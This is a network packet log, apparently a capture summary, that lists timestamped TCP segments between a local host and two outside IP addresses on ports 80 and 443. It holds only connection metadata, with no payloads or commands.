Dec 17, 2024 08:03:29.436290979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.436326027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.436342001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.436368942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.437136889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.437170982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.437181950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.437211990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.438092947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.438138962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.438256979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.438303947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.439178944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.439234972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.439380884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.439435005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.440453053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.440486908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.440509081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.440531015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.441184044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.441243887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.441329956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.441375971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.441816092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.441848993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.441870928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.441888094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.442536116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.442572117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.442589045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.442615986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.443378925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.443439007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.443490028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.443536997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.444281101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.444335938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.444402933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.444456100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.445316076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.445350885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.445365906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.445391893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.446254969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.446290016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.446300030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.446331024 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.447112083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.447160006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.447277069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.447325945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.448105097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.448141098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.448147058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.448184013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.448929071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.448972940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.449032068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.449075937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.449875116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.449928045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.449935913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.449974060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.450757027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.450803995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.450809956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.450869083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.451651096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.451699018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.451726913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.451773882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.452510118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.452558041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.452673912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.452722073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.453466892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.453516960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.453599930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.453650951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.454461098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.454497099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.454509020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.454545975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.455344915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.455379963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.455398083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.455420017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.456219912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.456269979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.456326962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.456372976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.457104921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.457159996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.457196951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.457242966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.458121061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.458154917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.458169937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.459024906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.459062099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.459075928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.459124088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.459167957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.460009098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.460043907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.460059881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.460088968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.460839033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.460874081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.460886955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.460916042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.461679935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.461733103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.462300062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.462347031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.462629080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.462673903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.462683916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.462737083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.563952923 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.564060926 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.564109087 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:29.607531071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.607605934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.607625008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.607670069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.607835054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.607880116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.607907057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.607944012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.608756065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.608865976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.608900070 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.608913898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.609621048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.609666109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.609934092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.609983921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.609992027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.610034943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.610837936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.610882998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.610956907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.611001015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.611757994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.611802101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.611876011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.611918926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.612684011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.612728119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.612803936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.612848043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.613619089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.613662004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.613729000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.613770962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.614509106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.614556074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.614626884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.614669085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.615444899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.615489006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.615554094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.615601063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.616326094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.616369963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.616458893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.616501093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.617249012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.617299080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.617362976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.617407084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.618153095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.618197918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.618264914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.618305922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.619080067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.619122028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.619206905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.619247913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.620026112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.620068073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.620126009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.620167017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.620920897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.620964050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.621026993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.621069908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.621833086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.621877909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.621939898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.621980906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.622808933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.622850895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.622916937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.622957945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.623667955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.623712063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.623806000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.623848915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.624597073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.624645948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.624691010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.624730110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.625490904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.625535011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.625605106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.625644922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.626415014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.626457930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.626523018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.626562119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.627295017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.627336025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.627424002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.627468109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.628237009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.628282070 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.628356934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.628437996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.629169941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.629213095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.629287004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.629329920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.630078077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.630121946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.630198002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.630239010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.630992889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.631031036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.631185055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.631226063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.631906033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.631953001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.632019997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.632060051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.632810116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.632853031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.632917881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.632958889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.633724928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.633763075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.633846045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.633888960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.634637117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.634681940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.634747982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.634788990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.635601997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.635653973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.635724068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.635766983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.636512041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.636554003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.636634111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.636676073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.637420893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.637458086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.637579918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.637622118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.638329983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.638374090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.638462067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.638505936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.639277935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.639333010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.639398098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.639444113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.640202999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.640247107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.640317917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.640360117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.641098022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.641150951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.641216040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.641258001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.641999960 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.642039061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.642105103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.642148018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.642927885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.642978907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.642981052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.643027067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.643827915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.643872976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.643945932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.643991947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.644769907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.644819021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.645040035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.645088911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.645653963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.645698071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.645766020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.645808935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.646560907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.646605968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.646672010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.646713972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.647495985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.647547007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.647600889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.647649050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.648406982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.648463964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.648523092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.648564100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.649326086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.649370909 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.649445057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.649487972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.650228977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.650275946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.650366068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.650410891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.651141882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.651196957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.651264906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.651308060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.652065992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.652110100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.652180910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.652224064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.652967930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.653014898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.653088093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.653131008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.653886080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.653930902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.653995037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.654043913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.654803991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.654850960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.655354023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.655399084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.657707930 CET	49873	443	192.168.2.5	104.131.68.180
Dec 17, 2024 08:03:29.657727957 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.657744884 CET	49873	443	192.168.2.5	104.131.68.180
